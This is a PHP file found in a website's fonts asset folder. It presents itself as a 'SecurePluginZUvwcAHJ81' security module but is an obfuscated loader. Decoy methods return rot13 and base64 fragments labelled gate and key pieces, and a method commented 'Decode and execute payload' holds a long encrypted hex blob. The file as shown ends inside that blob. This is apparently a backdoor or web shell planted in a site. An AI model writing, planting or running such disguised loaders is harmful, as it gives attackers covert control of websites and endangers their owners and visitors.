/home/iqnodvpn/public_html/nc_assets/fonts/114386/index.php
<?php
/* Legacy-Compatible Obfuscated Loader - ID:4691522 */
/*
Version: 8.9.12
Plugin Name: SecurePluginZUvwcAHJ81
Description: Enhanced security module
*/
class LoadermwdNOm67138 {
private function gtqHjqDv76() {
// Gate piece 3
$jv2 = (bool)mt_rand(0,1);
return str_rot13('z6a');
}
private function gtVgeBpe14() {
// Gate piece 2
for($jv1=0; $jv1<2; $jv1++) {}
return str_rot13('hj9q');
}
private function kmeEAPmQ25() {
// Key segment 2
for($jv3=0; $jv3<1; $jv3++) {}
$jv2 = str_rot13('ebgfbKjs47');
return base64_decode('WnRmNFQ=');
}
private function dcGWYUAr82() {
$buf = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return null;
}
private function gtiwAhLk80() {
// Gate piece 1
$jv2 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('dsle');
}
public function pubbvRzQ16() {
// Public method 2
$jv3 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return 'vallWAO19';
}
private function kmucbzfT44() {
// Key segment 1
$jv2 = array_reverse(explode('.', 'a.b.c.d'));
for($jv1=0; $jv1<1; $jv1++) {}
return base64_decode('Y2M1VElh');
}
public static function init764() {
// Decode and execute payload
$hex_data = '1FzSHLDk7d7d4957dbccd6ee0f7a073104080ceea064496e12194a76c996672013b9c53e31891c7efd5553aa67ef8df24dcfcae2d45b2eedf6693c75f11eaf77bf7e28932d2ea7b951b73d75c97ef9f9d55d9a78cb70f1bed5711aabc47c1dec6eaf1fffeaf8b1504fc9361fe8afc7eb1f177d0a8b958af4ca7f9d9d8fdeec7e10aff7bdef9bec291d7a8bb47759f8c3783cf3d7aff1e0fd6a7138ffa7f2348eb7bd837fed19b33eed674916cc4db47f2ab2b0fcdf67e155f16d7cf57e17e97536d13d657cef146cef17412f7d082fc7e4719a863f2eb9ff98dc7cf83df531520f778ff96a19257b7fb90dfe17f6f378b2cfd79e3abd44d3a3098a6cbf88972629cf90f66e173fcb334c8afb7ebc599d7ecc4ca2f6c1215c9ff2411ce52fc124f1ae97fea0fcb7cf26bc2bafc09be4f7df9337fd27f4f522d8f7bef966128ea6673dca8b2fe9e0124f2f975e74b8e82448cd2a98f8e1223eccde8ebbe02abde9e7aa3c6f9144eb733f1c78bf9fe3a457ffddf2df66aafccffe1af7f4ec3c0843f3fee4857ab42966dfe3f0d14c8b997f752c7e04fb9befdecd2032e153b84893c1fc123eee2e076ffb3049dfce0fa35dea3ff72f8919ecceaf851ef8a152abdde9bbbfdf97a73d99785dfefdde6418cd7ae6bb771a8479fe92a8681425ab5fe5dfed4f3eee5f946fcabffb3029ffeec6f8e5dffd1a947f77352bffae4e2eab3fe5ef569ff7fbfcf6f418de9eaabf1bee826bbf38cd57fd7b33f1b2e962762e7f2ab3fefe37ff31e887bfd3fdfb8fe150ff7d093d7b86f2ff71b07c7cdde859f976be2bcfdcfef0ccdf413132cbc3eda9bcb3933d6fd18fcd60358cbd47cf24663e5e3c85c1e57b7ef35f606ee67def7d9ea8fc92cc7bc761ee6d9e2ee7c1d233cb975eef6e3608cd53ef2affeef736f1557cfc1126f1f3f4f2c5536964941a0daed241bffc759efbf9ab1aa82f83227c0fe3fd29367af5724dcfa00fde7aa5c69b95f75afddbeb51f96f27fbf2df9ec38f5394eed32fb3f9e4bfa7e9d84fe6f9390993d38fe169e695c752c365fab27da87fe3fefcfcdf7cbeafdec32998decffbfbde575d24ea71734ca2cb7914f6f55ccd83643c2dfee8c4643f4d94b6f7dbdc59f1bcf276e6d1cb9f92affad1db05f7e33cb98bafcfffd97756fd5bed07e383beba49d2c545bf98875f4f6fb1af2fcd3bf3f2891ac5c1a4793b57fdfa37aedecee658fec6a361f91bcf93ebddf9e75554be1d6f51deaf563abf98c37ebe98ed5febdfcd8fcf6658feb70fcbbf5bfdc645ef23ec2da7a3f2dbd4b3f23bfe7a0ccab77ef067cbc1f0ed62b2fdd56076b53fb56728dfcecb6b2ffad07ebaeffb7bd3bf0af27e718957c3f5d984f1a0febbe5bf7dd1d19f60978e57e589e30f533c6d8b557fa72e817937e3ed598dfe9e7f24d3f8879e97e7dd9bf2bcc1a03c6fe257efe1e3763e5debcbe032593efeed05d93e2ddf43aa74bcef3d7ff4367abf2adf43a0aaf7608a344ac2ac7c0fa67a0fb3c769f91b1faaf7907dad7e635dbe879fe6c47f8b4bf96dfac56c12c641796726a9ce70a5da3b5b78797986c3ae7c93e343f926fde5c52c9f4df52657cf5adf2e75afba87e5b87c0fbf9fbe56bfdb3108c3de46ad579a7d4357a33c288ef31f7192a65749f737b48d86da0ffde0aa28bf8bf82e3e7c7a0ffbea3d4c66e7d963d1bb8db741e2edb2b71fc1ee8bef2dd3c7221b0cebf790c7b1b72ee34f154b72c492b98b25c3f2bf2d36d5fd5edfce6797ab3f2f875d7986bdf7ba2f7fb77e3a087bea30ee0527e5c5bfc679b1f006abb52eaaef2d2def379995f73b7daeeef7babadff1eeb9b75ebfce8b3a4e4ec3bddffeb70597f207d9e4c9d355f9fc664755e780f27f1d4c4f375191fe2f9e8f6fa68b8919b66fb239c378f0551fbddda5f798eb87819e3c8f8289e6dfd0eae7e8ede42daf74a2fbe97d901cf3d770fc37d9b6dff1f85bf91df74df51defdfcbefb8d72fbfe3992aca3859a4659c34b7659c1ca6dbfb17efb0fc351d84b72f5efb5becbdef5e30d5d3b4fcddb2abc73c3e6b7faf23ad22330b9b7bd8d7716752de8379296389779d96f7e01dca77f6279e9da265919567c8def5d7c9d3f3c76dfd77bf9bf857f2f5b6fe2e825ef6f054a8df8161dfdb2fd52b2eaacc4d519cbe4d7460d2f8fef85d2f77a931b7e53dc7ddb1e4fcf8a882440ff56070a5be3e79e66350e4e6498d2666969f83afa76cf25604fa2a7df931187b8ff1f947ec9b457f9fddfc08d68b9f3b97df4e7dff6266fbde5ba096decf41efbfe12cf8fbf2b5fa6f9be4f53734abee37a8e2e47d7dbf713a9eee8ec98f5efcab7e3b43c4a8a15eaffa1735d08bcbaffadf1ecadf223995bfc5edb4fc2d624f95bf4592b639cb7f9955396b54e542af8c675b53bddfaf552e1ca9eadb34757c18dfcc8334fc99acedf776c237d42f73ac7736cf7fd34170753c3ce9bc17f46e2ffdbfa33faf8b2bf1bd55ef4cfbc94711e94b569e6154bd87feb27a0fe5773598dfaaf20c7952c5d4617586b0ca9b8ba4cac75741f90d8d75151f4c51e5ac9b2a67adcbf830ac73d6ce94f1c1d365ce5aff9c95312a7c2863d4322963d44352e6ac24a96254386b7396f71194f79bd6312aaedeef5575bfd9595ff33739fe6a637573bfff29f51ef48b327dcfc2d3627854fd9efedbcf1ff4cf81f7dcbeb3fadfeafc3e096ef448ddcc9eb7a3dc9f3d987951c6f122318ffe31c8aef4ea31b9f5495c2fdf43f4bdac61d6fdfe6ea87ade7dfc71f91bc4bdbb3a6fd63175b2c679ebefed3f5dac56b38bbe94e77a5e0daa3bf366f8ddea3c342defcc78e59d99edb9bcb3e5aebc33af8aa92fdea8bcb3c9bcbcb3cdf76d15d7c7e59d9577dee6f97054de99f6aab8febca9ce905571e7803739aadee443fdceaef3b34926d53b4bca7756e5bdf29d05e56fbcfc5ff51b47e56fac0eaee6b2ef4c95e75dceab38d9e480bccd01892ae3a4f97840de6ce364f51d9745cb9317f5662c771fc7ed37dffc5b359d4ff5bd9714373ffc9bff85f1385b85b77ebc51df3cffbc7c2cab86f0e39296b55c196e559903921f65e4bc7d9cdddc0ff529fe395b7be53dfc57bd1da3abf86ba2d53a16bf71f6eee50f65807a1fead9eeb6ceb1fbf0a6cc4fe53d1cabd89798ba4634d5f7b6a9beb7a55fbef5ebf8975e9495d23efbe61569f6c2be63f3b78cbf5f863df676d2388f1fe6839b2fb807fddd4fd29b2765be24c1583dc6d1bdf9e8ed3d6502afa7eec5bf0d55b8fb56c6d4bfc61b2fc77e112efcfc8cf83b19cdcdc4d60f7a16244579d6f2ef2acf7bccd562e19fdfcaff75e97d3d96bfcb3a7d195ec69fdfefee65d5cf07b3a1bef3fcde525d1d737d15dc2c0ef8ddfafb492f4de2b2c6cb4d9a4cbe87d387e0f9eb49c487ea778bfdc53ab9e6dfe6f8a67a67eaba8a675e79bf0fcb2ab7d4f7abe3eb8cf50cbaccc3f7699884bd01bb075b1bc5e6ab1794b55110b439cb4f06d5df1d977ff73ea8deaf57e52cdd2b7f377d5fc7a85d286a981bf6dfd6bec944c5c9b858264a9fdf3d7ff7a2f6e17d5d132c7aedb7a9cbdae6fc33acea9d4952bff5bcfa36ab789615da1c1fcbdfa2febbd3647f6aeb5fcf8b57a37cb43043d63bc593e2b80be3e8d7fc90241dbdd37bffef6510e7fb5e985f8593e9f17b53cba9ba961b69751a06751f903435575ed55c6f751f50d75ccb6030d48ffd7d7a18afcbfca6a3b2ae7ef0cb1c7def0d272bfe6d6a63a65505fede1b5ff47559ccdc2e76cd6f51e680f69d85e38d5a943d6f59718de6e5fbcdcb375eded9d5d2d3e762a96efe97ccc75919cf786d347c8ff4d79b4b1404a74087cb48f716e13c616fe769fae065bbc48483939fe4c9c3737c6239b6f9ddd475f9f492e7b28fa87fe3fadbcc5cff1655b9f03aab625454c6a8b557d7726b3f5dd01c10bc256a9296bfb13f637d61730f3fd7e9ccbcc5af4d7e5b1deb6fbe8a7dd7555f58c4ae2f7cabfac240d535628cbeb03eef74cffedbb27eb4784ee297b01f4c822bfd75b4abfb5835e9957decac3806db71160fdaefe276d6bedfaa6e8c92f131d91dcda33eaaf8e3fcd0f7b378b6bebad197d57034bd8cb2de3f7a9c595afedd87b27e38175eee3d47fdcbb8ce43f32a074457750ef0cb6f33a96a2e75aebea1aaee336a55c5bef035bc72f16132b8e8b64e8da7691e7e9c95bae8bfe59b9c8ffaea7112ea7e52986befa00e832beff722b8373fae3ff5b1c3aa8fcdd6e978feb1feeeef821fe53bea05c14d50d6a0a2478fe2515fc7afbbfd401d92e93c6f7b86e67ee38fe021ece7cff1feb8f68bfb7f7c6f93f9a32a6be769f6a0fa372b2f66e77d9a6f7b8b44afca17b6bef3790ff9328db5b677e63d5e8efdb2bb78f1f6e9fa49c7779e5a4d1e55d137093fef53bf58da3cd4c6bedf71d51f27558c52efe5fdaaa696ab62d4655ed772558ed5752df7bbaeab3fdaf7bb57f53b2bdfefb2ceb16353bfb343db6799a1fbe6afab6f7eb5adfaac342e6b8240557dd6acaa097eba5e2f99d6bd5e5ed651baaa095458f722750d5ef7f39baaf79f95ef6159d725ab0b6acfea3d9caadab3faff2bdf64950bc7f579ebbaef507d17fba03cef5bd54b2fbf56717295d471b2eea5abded484552fedd5bd741527c7fb3a46d5e7adeabe5535abd8bcd6b38a657bdebb326f97bd53d09e77f1fcb73a6f55f795d1bcca2d55cfd0e49687f6bc26ac6a9893a96b98fabca3ea7ecfe85b46386f7dbf4575bf3371bf5eddfb5775ea7555738df3eabce9ba3a6f55738de7b8df6ab6e2e9eabcf37ab652ddaff15caf57d77dcbb3cb85fbaccd59c3fa7b0b97552eacce5bf5ee2fd57f6f79bf9bfabc55ad71e855e79dd4e7f5dd7b68eeb7aaabf7f579a33a0f553562d3773739605de5005d9d775a9ef7ad3a6f7c55d5d59ea9df4355576b5d9d77d8deaf3a54f73b796bef37ddabeabcf7f579dd7b68ceebb9fb1d5735e2b0ea45bc43d1bedfb704ef57b773b966b66206ed6c25b9aedec3eaddcdaeeaf73b4edaf3eafda43aefbc3a6f82f7509d77fa529fd754f7fbdebedfe67e57d53c6a98d4b5463d8f8aeb79547d5ee5f24513d7abbe65efe1fdd6ef61dad6b4affbdc9dd7d7ee7eebf79b56357890b5eff7adee5b9af7b0a8cf5bbf07539d77509f775abddffa3d547dc049d7df5b7ddee67eebf356b5e7c3acbd5f121f9a3eeba0aaf38638efae8d0fda5c57e74d111faa1abcae0956f5795fbcea3d04d5795faaf3beba9ec1abbfb72467e7b5df5b151f96cd7bf8a8ceababf770579d7751bf87fafd36f1a1ce59591b1fec7975958ffbedf7d6cc569af326f57ba8672b617ddefafdf6dc7b48eb1a46e1bc7e7bbfc9dccdae74c6deafbddf3711cffee3dfdb69e1ea075d9ff74f1b1f6cfc1d56f13771e75d55ef41cfeb7836aaceebe17e776dfcade3c3b389aaf3eafa3d6cabef2d69df6f1d1f92a617a9df43f3bd65ed3cf554e78bbda9eef74bfb1e4cf8eeceabc4799bfbaddeef45b5e75d36f36ae3ead4fa7e9b78d6e40b171fec5c2e70ef37f35d7c78c6f756c7b300f181f4b175fcad7ac8557dde457dde53fb1e9a1eb27ebff579fb88679741f51ee6dbf6bc4d7eabcedbc433a578be586dda78f612a46d3cdbbcd6f1ac8e0f2ff5fb55edac4dd5f11733a626fe6a37e7b2ef61d0e68be6bc553eb6f1b77ebf4dbe88da7c61ebbeb37bbff343fb1e8ce2f962756ef3f1b3a9f2c52a69df6f7c75eb66f149d1cee25575bfd3b4bedffabc5b1e7f57d5f7d66fe2998bbff6bc4d8d88fb3578bf1fd5fddeb3f7f05acf1454137fabbee5e0f29bbf8cdbefad8ebf9be67babdf6f52e76397df945f9f77d3e663d40f768e88994293df1675fcd5eefd36f161e6f29be766f16ff57935be37d3ce5eeb7aa7890f75fcf5d33a5fd4ef7751e7e3998b672efe26baa8deafaadf6f1d7f4d7b5e12cf56b7edfb6de259bdbfb0efb77e0fa7b63eb3f98ddcaf6af3856ef2c5a83d2ffdde36f5fdd6f1216beb07fbbd85aedec17955bfcd6fde75af7d0f27edea87fa3dd87856c58707dddeaf51baed5b864d7e53a877eaf3deb4efe1f3f7e6f205ce6befb789bff5f756dd6f92209e45880ffd361fd773cf53ecb7f1acf9de902f4ef3f67e8daa7af4d51fd467513bcbacefd7be87badea9f77a7bbc07a55cfdbb6eebc9e67b1b2f78fd6bdf6f9d2f02f61eec79376dfc5d5ed5df5b5d9f25f5fdc66dfcb5f9adbedf13beb7a28d67f47bd36d3eb6f5645fe4b71c3d7ad69ef78dc4b3ba9e6ceaf55e7b5efb1eeaefed80f790b6e7ed9b81bbdfe6bcdad5ebeff57bf05d3cabf79bc9d6bd8718f9a28e67415b4fda7856e7e397b88dbff57bb0dfdb44c4b33afe4edc9cb6a91fdedb99e3f2ead8c687fa3d907c91f8baad1f567ff8fdee23d4ebeebcb63e4b111f783eb6df5b51dd6fdcd63b7617da7c6f85bbdfa69edcb8f770407d86bd4822eab3a65e3788bff5f756cd48f73ede43d0f61775be78dd07ae7e68768bf57b38b4f7dbe463db5fcc58fcadf3b18d0f0ae755ec7e6dbe20f5fa18f9b8ae7fa3f6fd0ed37a5e32423eaebfb76a17ba5ab4f1c1be87b0cd17c9f53dfa21febdd97a6725eab3c8d53b2fee7b6be2d96ce6beb71be48b18f519e26fdd5f2c676dbd5ecfa0374d3d59b8f76bdceed64cdc0cfa50600fb976fdf114f93869eb1dfbbdd5f56fd4deaf771d55e7dde0bc6ee668fb0b972fec7b28da7eb38ff8dbc487e6fddebb7eb3b9df88d5bf365fd4ef21adeb75e3eac9e6fd862efe36e7cd58bdd3f46f4b928f8dfbde9281ab2713514fd6fdfc8beff2858fefed1efd26f2f1a0cd6fb69f5f8bfb7d6ee3af3defa27d0fb67e20f564fd1ec8f716a03eabdf43f57e4fcb36fe36e76df24513cf02dcefd6c5dfa67f43bdaedafead79bfab5d5d3fb8fc66fb4d978f6dfda0ddfd0ef9fb6de243d5cfdbf770d7c65ffb7ea7780f19e63b75bd93b5f1ccd693a43e9bbbfce6e13d14ed79ed7b407fdcd467abf63dd8f3f6f07ea72c1fd7f52fad778ccb6fb69e2cdafe78dce437579f5d86bc7f5b91fa57e17bd3ae9edce37eeb7a5df3faa1aed7497d56d7938b26bf15ae1f6ade2f896703378faae70ff55e5a6b579f35ef216bfba137f443e3261fd7f157bb7cdc9cf7d8e663bfe9df46ae1f6acebb6ce725757fccf2f1d49db7ae779af89bb6e7b5f3b37ad791f0fac1cecf3e58bdfe9660feb0407f9cb5fdbc7dbfe7b61ff231dfb1f30797dfbc987f6fb63f9ebafee280fad7e5375bff86b8df3afe56f9627cc679dd7ba0f5ce2bde4386fac1cd779a7e13ef7715a37f433dd9ccfb32d4677dd7cfef519f8dda5d521d7f6d3f9fa29e2cda7cf1a97fabf7d2cdfb9de17b4b59bd4edfc3d2cdfb56753e6ee625e8e79bf95986faa1bedf51db1f9f9aef2d6ae3999d4f7a6dfd6beb7537efeb37f9d8b8faacf9de8eedfd26c026d5f7ab9b795f81fad7cd779afeeda7effaa1b87ebf880ff57c07f5ced2bd5fdbcfdfb6f5af7dbf643e396ae767365fd4e7eda39e74f9c2ee848d9b479179df16fd1bea87d799eb8f35faa100f50ee6675b7c6f86e5e3e67ed1cf275ab1f76be77d01e63ba8d79b7e68d4ce53b5c2fc6cddcecf6c3c23fda6c7e667f63d786d3fdfcc1f1abc9c76fd31fa375b4f6ac4b3d4d50fcdfbcd908f7d1e7f9b795f3d3febd7f141b9fcf68ef943e0ea5f328f8ac5fd86780f989f69374f1ddfe3fdd6f958f3f95993df9af8ab10cfd06f4ed1bfeddafc66ebc91bcccfdcfcb7e93733dfdd6f82fe02f3d4e7ba3ed36e5ed2f443c6ed9a111f6cfdab5cbf79c4fd2a972f304f6de29971f1acae1f6cbe1855e725f1ac60f3129bdfea7a72ae5d3d09ac65137fdd7b585e99b6fe25f3f5a69e44bd83fc66f79b24bf15ae5e37ae7e30e4bcf7ae9eac3123a47f6beac989a8775237df21f3d40dea1dddee87ecbc3a71f94d21bffdc2fd169857d7efb7877c3c6fe751cdfcac89bff7983f5c5c7d3645bd93b4fd85eddf46e82f366d3e6ef245131fea79c903e60f6317cf9afa57bbfeb899ef68514faa76fe60e725a9e887766ebe9e02e798601fc0fb799bdf06880f45bb6fa1fd2699a77a62fe90a11ffa10fb16d76faec87e88c7073b3fcbc5bc642efaf969bb1f22f9d8ee5b82769e6adf839bfff69b7949d8be07d25f605e62fb6332ff25fb2c5effd6f328b61f5af3fd50f37e6fdbfee20efba13afeda7896b9f94e938f8faedf24fba139e243e1f27173bf23b77f4b7c3edf21f9c2c73caac07c7dddee379b79df4fd40f6ebf69eb49afad7f9bf3d27e48b9fa81cc7fa762febbc57b18b5fb165aef98b67fb3f16180fa61d7c633bb1f2a5cbd8ef86be73b98af87984765a87f7d86231d269847d5fb374fb9f9c359d43b7e1bcf9af860eb33d43b7dccab7b2e5f34e78df0bda15e9fa3fe4d5d7dd6c4b308fb42d4eb05f601c8c7e8e7c764de3712f90df1b739afc67b40bff986fea270e76de6bf9ed8c7927c316de7bf763ec9ebb3be01964af3feada9cf963e9bffd2fef827e67d517b5e1b7fcfb8dfd8f5176edf62f3b19bf791f90399ffd6fb79bb7f0b443c1bb7ef81d667bfb03f26ef01fd9069f70176bedec7bebb10fde6c8ed035e513f2c908f7b6d3d69cf3bc2fb050efa0ef3c995cb6f3ebeb7fff17909e6bf761ef513df5bd0ce4b6c7cd8b97d0b39ef0cf978e5ea33c3e7a953ccab9764feabf0bda1df9c8af9fa11fb5857af53fcc302f10cf36ae5ea49dcaf9d3f68cc77504f927846e69323cc4b50ef88fb6de283af05fe81cffb2cfee18c79f5c0c55f0ffb42ec2f1a3c4c80f9e487bbdf04788d3abff9989f19377f68e259c0f601365f2cf0bd450c5f42f004f63df4d8fdda7a92cc777271bf19e2d996ed63ed795d3c5be07e9b7846faf9261f0ff8f7d6bc8791d86719375f9f6fdbf7fb69fe40f6013b378f6af617a3b6bfb0eff701fb21e46331dfc13cd5d6675ff83c55f6434d7df682fa77887e53b9799f71fdbccd17cac533514fd6fdbcad271dbe84d49316afd117f96ddbbe5fcb9370f9f8a451ff62fe9bf279943def0ef34957ffda7d16ee97ec2fdcfed8f61713f4c7b9db6f927d6ccfe1a3d01f37fd0579bf643ea9dd3cf545cc539bfcd6c37e13fde600f73b42bf29e6d599c36b7833ec8f958b0fa9c39734f7dbe48bb38bbf4d3de9a17ec07b3863df62045e2e40bdeef030aa8f7dc011fb16cfd5eb539c17f52ff03bb43e3398efcc1c1ee601f92d74f57a73bfa9ab7f9b7d37facd39e62553e0cf5c7eabe3999d9f1d302fc95c7dd6d4eb886704afe1de83c56bec395eae99a7221f3fcc50af3b6e897dbfcadd6f534ff6185eced6eb8aef2f2cfe01f18ce08d3ce0fbe4be10f812b96f79e078449a8f23e077666ede17629f55d73b73f4f3caf517beabd79bf7003c17f6c74d7d567f6fb63f56edbe7b8af336f3b3e6bc998bbfc03f006f64fbb73f6dbdd3f443c0efd8f8abdb7989dd0f0d05feec8def8f576e7ec6f00fbcbfb0e71db5f8b373bc65f9d8e68ba578bf23579f2db7229ed5f1e1d8e68b3afed2fbc5beb07e0ff6bc4ae0094287df2178cf88d767cd799befedccfa377b5e83f81bb5fb588b7f18b97a87bc8718fd66c6ea079b8fdf3ae6671bf1bd7d21fb630ff53a999f393c4133af6ef62d13b73f26f39213f00fa9cb6f6626f00f629fd5d46767d7bf917c9cf07e93eedf78fd60e70fa4bfc03e3671f3c953023cc148d4935ae4e333f025ae5eb7f583cbc79417aa81df01de3306feccc55f3b7f50ecbcb47f6bde6f22f6c75aec03b2165f62ebdf5d1b1f6c3e5698f7b9fdf18ae06152cc4be43c0aefd707be3a737839e03d295e79c9cedbd4bfc07bdaf830c0fc41b5fdb1fdde4cbb3fb6f8b3dc9db779bf29ea1dbe7fb378b911f046c02bef041ef11be6d54bb73ff6b07fdb60fee0f025f5f7d6bc078a5fd7023fe9ce3bc0f7067c4933df69f66f4dffa6b1bfe8b7fd3cddb7a4ae9e34a87fa7edfb65e745fcede3bc059b577fc6c3146e7ed6f4c759dbbfbd619e8aefcde2abc93e2b03fe6cdb72f09a7ac70c3eefb3c87cd2ee6303c433e027a7d8070498ffd6fd71e4faf9a5ebdfec7b9831fcef17324ff5d1bf65c0237eb4fdd0f89ecf7febf3dafa4cb1fab7a9cf9af76b504f6ad4eb645e52f0fd66eaf801b4de89b1efc6fc81f4c7a9eb879aef2d72fb8bc4cd4b2c1e5cb5fbcd060f83fc66f7f3b316efb99a76ee5bdc3e96e23522f71e50ffda7a5d737e00e6bf761f007ec01de259ece63bcd7951af37fd5b80fa0cf8282df08821f25bd1e2350664ff3647bdf3e0ea07822f89783f5fd73bb69e3478bfc02b2fdbfaccdeef11fba19e8bbf4d3cdbb9f740e26f88fa0cf3a8d4e5b7958bbf767f11034fa0dd799bf790b9f93ad91fdfa1fe7d77f807b2ef26f53ae1b7f8edfd8e0d9fff5a7c09e6251bf05b32373ffbe9b3f76bf76f19e6a953c6bfb0f12cc3fc77dee2e59a7e93d493efc8c711eb87ec3cd5a07ed0621e9577ede7095e99e40be09523f4f323315fcfda7c4cf76f09e60f047f06fcfab08d0f72fedbec0b9bf924e6bf763f1433fcaffddef87cc7d6eb3edfcf37fc8b78cbf21bc54fa6d8cff37addc6078287b947fdebe625b67f437f7c16ef61867e68d5ee87ecfc5761fe807dc03bfa6389eff35c7d46beb713e70f59fe05c77b363a390dbf85e4b77be08d2e2e3ec4780f2b36df21ef97e04be8bc2f72efa1b9df90f56f76febb01ffcdb0fa81e2edb12f447d46ea1d8b4f05be84f0b30cbe37d5d63bb6fe0d807f70f583add711cfa6d8774b3cb8065e19f79b887e4801bf3e12788280cd7fe5bcdace273dec2f383fc0d63bf79897ac8097c33cf51dfd7c2af82205e667e007907de1c8e1e59af74bf051b37ff271545b9f91fd9be533b87e9ef02feaf35a7c6a0fef17788d10e755e067f1f98e9dff8e80e78add7c672ef03033e0615251ffa60c4f60f7855f30ef93fb2c25f88529abcf683f3f77f3123a5fc77eb389bf299b9fd97d5682f392f7db67f39dbadfb4f36a828fc23ecb03ff6223f2db04fc0bb9bfc8c07f433ede0bbee95ce009e6c81723cc7f514fae797cb0fba1c3e77994ede7df71bfe47b03be4fe29527f57b28dcfc6c8d79aac27e68ebfacd85c0af0ff9fd2edff0bd9d5dfd8b7909e5eb05780f1fee7b2378e55cf045b4c313f8e88772f0c952313f5b897949eaf21bc1cb6d11cf46880f984f2edbf90e99aff71b7cd4c8ed5be6dbcff333fbbd0d902f72f079f9fc8ce21135f205993f807fbce7fc2c1b7f07acdfb4fccd14fd1bf0d504bf73efbeb7e4c0ea753a5f3fa3dfd4edf7f679bfe9e2afc547f5c53e6bebe651b798f7858ecfa0b0effedde6e3cf78fbb3bb5fe04b68fcdd09fe1be16761df1de33d8c308fc2fc6c2bf0bff798f79d58ff66f717641fa0c16770f35ff0bb6dbef0daefadc1ef587cdfba8dbf96ef3463fc96cff7bb61fbd833f62d961f3070fda6c1bc5a014f8b7eb32fea5f8dfd9b01de5ef617e0a36bce7f4b647c0878bea0fdc599d593848f6eebf508fb79377fb0fc16392fc1fc2112f982e0e552f0fd3bf01a365f28c1277b13f5e41dc7f73d48fed06fcc1f227c6f120f3370f307c2bf88d06ff27edee60bcfed3713be2f9c82afd7f4c7c09fd9f93adec312ef77c4f843142f877db7adcf061c4feb71be3fe5c73ee37e578c0f49f8380b325fdf20bf29c67fb3f1778af96f8a7a12e7ed03df47e6bf3c9ed97aa7877ac7cd1f1a7e2cc1a73ee3bc8e8f63fbb7d4e5378247bc203e4c705ef045fe877e93cc531d9f614cf66f79477e937c53bbbfd87ec6d3daf9a427f859b9e03bdd8afe2dc67b009f81f4c704cf55087c5f00bc32e6671bd4ebc6cdd79b7896b0f90ee3a34f1dde88cc7f53d61fdb7e88e0098cc0a7f65abc9cc513387e96c5c344d85f148e2ffd8ef96421fa4d8fe1cf483cb3f922007f13f8f51bbcdf58d4bfa9e837539c77ebce4bf69bc01b35f77b647c48db0f3d737e2cc5578fc4fb2d183f80f0e7fbe03bd97a12fa1a04cf45f8906e3e69f701c07b4e70de7b81f724fc2c892710f9ed13de08fb806fed792d9e20e6e76de259335f5798576f3ff34d9befad890f641f40f0e09af1e72d1e71c6fb63ab4f8079c91bf6dd67962f2c5e83f0877ae033f80ebf43e2d951f46f01eed7ede71b3ccc12ef57a39ff71cde93d4bf438e4fa5fa040a7c8601c3ff527d02313fb3f328a72bdcf037d1cf431f86e981a07e98e37e5742ff21039e80ef374f24fede63dee7f474497cb07870e0537d7ede15d1e48b1c7fa839efa8235fac62813f7b015e3910fd9061fb0b1bcfbe619e1a8bfa81e463873f6bee77fe21f08873c68fb5f16c27fa8ba0a37e4862c40782f7dcb4fd5053af036f64f97ad73c9e29fe7e6dfd1b39be3fd1df31b8df8ced2fec79d7c06b607f01fd87667f6c783d69e75123765e8287b1f10cfd1bf0cacd7c3d75f8927d9fe36180df21fc4dca3795fdc514fddb6d1b1fe8be45093da6b3c057dfe37bf35cfdeb3bfe858dbfc0cb0d85fec302df5b06be29f0ca67a1bf33c7bed0ebe2330c3bf498287ffe0ef39dd0e1c19bef2d607c69ca0f2078e5b8a37ed0c04f52bc1cf0e00ddfc9e11fbe18a7bf6386223e9c453e7e10f599cbc7767fb1e17a2bb4de39b3fa97e929a07e38a3fe4d59fcb5fa5c9ae7e366ffd6f0b334c3a792f919c15743cfc6c6b35fc0c38c70bf0ebf3e4e90df802ff1381f87e0d757649f1583af97bbfd85077c54caf6f3148f68902f12d43b85ebe75f1c3e8ae27f31df3103a107a239fe81e8c3cc049e96e0530de6676e9edaece709fef78bc06b4cb12f24fc63e061068867378e5f88efade1bff9524f01f354f11ea07f66eb07127f470c1fd5ecbb1bfe50e2fa379b8fb9fe19e92ff612ffbbc0fc4161bec3f9c784afb78ac1ef4e1cde5ef0bb3ff1459a7a12f8eaa63f7e67f31dbaef061ec6d69333574f927c3162f5afc59f9dd1cf076c1e65f76f044f50007f867cf1867c61d00f89f312bc1c392ff498089f77cef9bc549febecfaf9263e14c01b39bd8a4473bdab66be4ef817044fa01c1e86e077e6e83755cb6f21fc0b8ad7b861f5bac5cb117e0bf4cf487f6180d7801e5e93dfa01ff5ecf0b48d1e1ef09e0dde68013ce20cf161047c2ae6eb0af599abd7edf716317eacc51be5e82fb4d867790caf61e72543e0d7c97cf243f07180b79fa3de310c4f40e625747ef613787085f700fe1bd11b34c04fc27b620efd1de0355efe323c01e1e38ceff97b78107a4c164fe0f801b4df2c98de8ac5cb0df17e23dcafc33f34fd66533f3c00bfe3e6258af0f57ae8df3e18beba8f7866f97ab9c3f76d50ff6aa6a740f1d5c0ff5afeb176f519e1771bb67fb3fbd8a9d08791f35fc21731983fcc793e063e8af27953cc53d15fbc627e46f8a6428f89e0b9a6625f98a0de21fa049d787bf0871afc997cbf3de8efcc84de95fff9fdda7d0bd90fa19e24fba167b12f5c801f9041ff8ce37f6d7c88841e5ee8f01a64dfbde5fb6e8b87017fd3e177ecfd0e802788583dc9f8f33e9b47917826f1eb969f053d26b21f8ac18f059fec37e63b23a157a1dcf7d6dc6fcae6bf840f49ebb319de8327f0304e0f84e87b523da623db07107d398baf56e09bca7cdcc1efb6f3490ffcb711e6d517d7cfcfb00f5809fdb311f6011bb69f27fc21ab57017dda39c7db377c32cc7f299e2b075ec3e50b8bafd69ff582ec3e96c45fe0d7a16f64f7f3d07f58f37e9ee68b25f82d8acd272d5e6e04bc1cee570b3d520ff117780d89ff85fe5932473c33424f2c453fc4e7d5540f8ff0fd4762fe3b12fa7d79979e98d06b1b937c61c47c72ccce6bf11a43f08734e6eb0eefb9fad2357f68f09381db0f11fe3cd12fb967f52fa9d7097e12f83e8a4ffdb9157c74ec87828e7d21d5df21fc8b50d43b8edf6df1513d177fb13fb6fb2c8eef237a0a4d7c207823d25f8c05de3310fbd84cec373be73b4b9e8f293e3513f1a1107c2782b7e77c1caaa7abf1bd25e0b780ef44f65991cbc7d80f8def45ff16235fa44c1fd1f66f3ef6c7b9780f91e01f93f8e0f6b154bf2fe9c073517e40e4be37599f117da34597de0a99f70d443f140bfed040e897ec50ff66d0b39975f1a5c93ccaf1a5adbe11f08877fcbcd03f63fb1637df69e219e6d5